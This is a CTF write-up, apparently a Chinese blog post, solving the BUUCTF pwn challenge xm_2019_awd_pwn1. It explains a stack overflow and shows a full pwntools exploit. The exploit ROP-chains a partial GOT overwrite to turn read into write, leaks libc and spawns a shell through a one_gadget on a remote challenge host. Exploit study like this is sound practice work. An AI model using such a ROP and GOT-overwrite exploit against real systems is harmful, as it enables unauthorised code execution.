[BUUCTF-pwn] xm_2019_awd_pwn1

乍一看以为这题有多简单,直接给个溢出,还没有canary

ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  setbuf(stdin, buf);
  return read(0, buf, 0x100uLL);
}

再一看就有点意思了:

got表就两项

.got.plt:0000000000601000 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got.plt:0000000000601008 qword_601008    dq 0                    ; DATA XREF: sub_400490↑r
.got.plt:0000000000601010 qword_601010    dq 0                    ; DATA XREF: sub_400490+6↑r
.got.plt:0000000000601018 off_601018      dq offset setbuf        ; DATA XREF: _setbuf↑r
.got.plt:0000000000601020 off_601020      dq offset read          ; DATA XREF: _read↑r
.got.plt:0000000000601020 _got_plt        ends

有个提示 Ret2dl但似乎行不通, Ret2dlresolvePayload 根本就不工作,说是距离大

于是想到另外一个着:

        由于libc中write和read距离很近,可以通过爆破1位将got表的read改为write,然后输出得到libc,再将一个got值改为one

from pwn import *

elf = ELF('./pwn')
context.arch = 'amd64'

def connect():
    global p, libc_elf, one, libc_start_main_ret
    local = 0
    if local == 1:
        p = process('./pwn')
        libc_elf = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
        one = [0x4240e, 0x42462, 0xc4f7f, 0xe31fa, 0xe31ee]
        libc_start_main_ret = 0x21a87
    else:
        p = remote('node4.buuoj.cn', 26934) 
        libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
        one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
        libc_start_main_ret = 0x21b97

context.log_level = 'debug'

pop_rdi = 0x00000000004006a3 #: pop rdi ; ret
pop_rsi = 0x00000000004006a1 #: pop rsi ; pop r15 ; ret
pop_rbp = 0x0000000000400528 #: pop rbp ; ret
leave_ret = 0x00000000004005dc #: leave ; ret
main_addr = 0x4005de
vuln_addr = 0x4005a7

def pwn():
    #gdb.attach(p, 'b*0x4005db')
    #pause()
    #lh = int(input('lh:'), 16)
    lh = 1
    sleep(0.1)
    payload = b'\x00'*0x28+ flat(
        pop_rdi,0, pop_rsi, elf.got['read'],0, elf.plt['read'],  #读两字节到got表将read改为write
        pop_rdi,1, pop_rsi, elf.got['read'],0, elf.plt['read'],  #调用write输出得到libc
        pop_rdi,0, pop_rsi, elf.got['setbuf'],0, elf.plt['read']+6, vuln_addr) #将setbuf改成one,这里通过plt+6还原read的got表
    payload = payload.ljust(0x100, b'\x00') 
    p.send(payload)

    sleep(0.2)
    p.send(p16(lh*0x1000 + (libc_elf.sym['write']& 0xfff)))

    libc_base = u64(p.recv(8)) - libc_elf.sym['write']
    system    = libc_base + libc_elf.sym['system']
    bin_sh    = libc_base + next(libc_elf.search(b'/bin/sh'))
    one_gadget= libc_base + one[1]  #local 1  remote 1
    sleep(0.2)
    p.send(p64(one_gadget))

    p.sendline(b'cat /flag')
    p.interactive()

while True:
    try:
        connect()
        pwn()
    except KeyboardInterrupt as e:
        exit()
    except:
        p.close()

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值